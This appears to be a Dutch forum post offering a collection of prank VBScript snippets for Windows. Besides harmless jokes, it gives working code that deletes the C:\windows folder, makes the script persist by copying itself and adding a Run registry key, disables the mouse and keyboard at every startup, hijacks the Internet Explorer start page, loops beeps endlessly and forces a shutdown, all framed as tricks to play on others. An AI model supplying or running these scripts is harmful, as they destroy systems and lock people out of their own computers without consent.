Leuke Visual Basic Script commando's.

Hier heb je een paar Visual Basic scriptjes. Een paar korte zinnen, en sommige zijn hele lappen text.
Sommige grappig, andere irritant, de ene verneukend, en de ander cool

Kijk maar even:

Verander Prullenbaktext:
Werkt volgensmij niet goed op XP...

Code:

Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}\"
strOldName = WshShell.RegRead(strRecycle)
NL = vbCRLF
strNewName = "Kutzooi"
WshShell.RegWrite strRecycle, strNewName

daarin is Kutzooi dus de naam van je prullenbak

Verander TitelBalk in Internet Explorer
Best grappig. Je kent het wel, er staat nu waarschijnlijk "- Microsoft Internet Explorer" achter. Die text kan je veranderen.

Code:

Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title"
cn="HAHAHAHAHHAH! Hier de titel :P"
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn

Verander startpagina in Internet Explorer

Code:

Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page"
cn="www.dukesoft.nl"
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn

Verander Bedrijfsnaam in Internet Explorer

Code:

Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\MS Setup (ACME)\User Info\DefCompany"
p1 = "HKLM\Software\Microsoft\MS Setup (ACME)\User Info\DefCompany"
cn="ARSEHEAD INC."
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn

Verander Eigenaarsnaam in Internet Explorer

Code:

Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\MS Setup (ACME)\User Info\DefName"
p1 = "HKLM\Software\Microsoft\MS Setup (ACME)\User Info\DefName"
cn="Mr. Dickhead"
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn

Start een programma

Code:

Const SHOW_ACTIVE_APP = 1
Set objShell = Wscript.CreateObject("Wscript.Shell")
objShell.Run ("je programma.exe (bijv calc.exe)"), 0, True

Laat je PC een tuutje geven

Code:

Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True

Doe dit als je hem wilt laten loopen:

Code:

Set oWS = WScript.CreateObject("WScript.Shell")
do
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
loop

Standaard bericht-popup

Code:

msgbox "Hej klootzak"

CD-Rom speler open en dicht laten gaan:

Code:

Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing

Folder verwijderen

Code:

Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete

Windows laten afsluiten

Code:

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next

Notepad openen en text typen Lijkt net of je gehacked word.

Code:

Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "Ohmygod! HET LEEFT!{enter}Inderdaad.{enter} doet een enter :D"

Deze is pas leuk: Lijkt net of iemand echt typt.

Code:

Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 1000
WshShell.SendKeys "O"
WScript.Sleep 500
WshShell.SendKeys "M"
WScript.Sleep 500
WshShell.SendKeys "G{enter}"
WScript.Sleep 1000
WshShell.SendKeys "Ik "
WScript.Sleep 200
WshShell.SendKeys "own "
WScript.Sleep 150
WshShell.SendKeys "je!"

Dingen uitvoeren bij aanmelden van windows

Code:

Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "je filenaam"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "je filenaam"

PC Naam veranderen

Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "De naam hier"

Muis blokkeren

Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"

Toetsenbord blokkeren

Code:

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"

MSN Naam veranderen

Code:

Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " Hier plaats je je tekst"
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub

Veel plezier ermee, ben er lang mee bezig geweest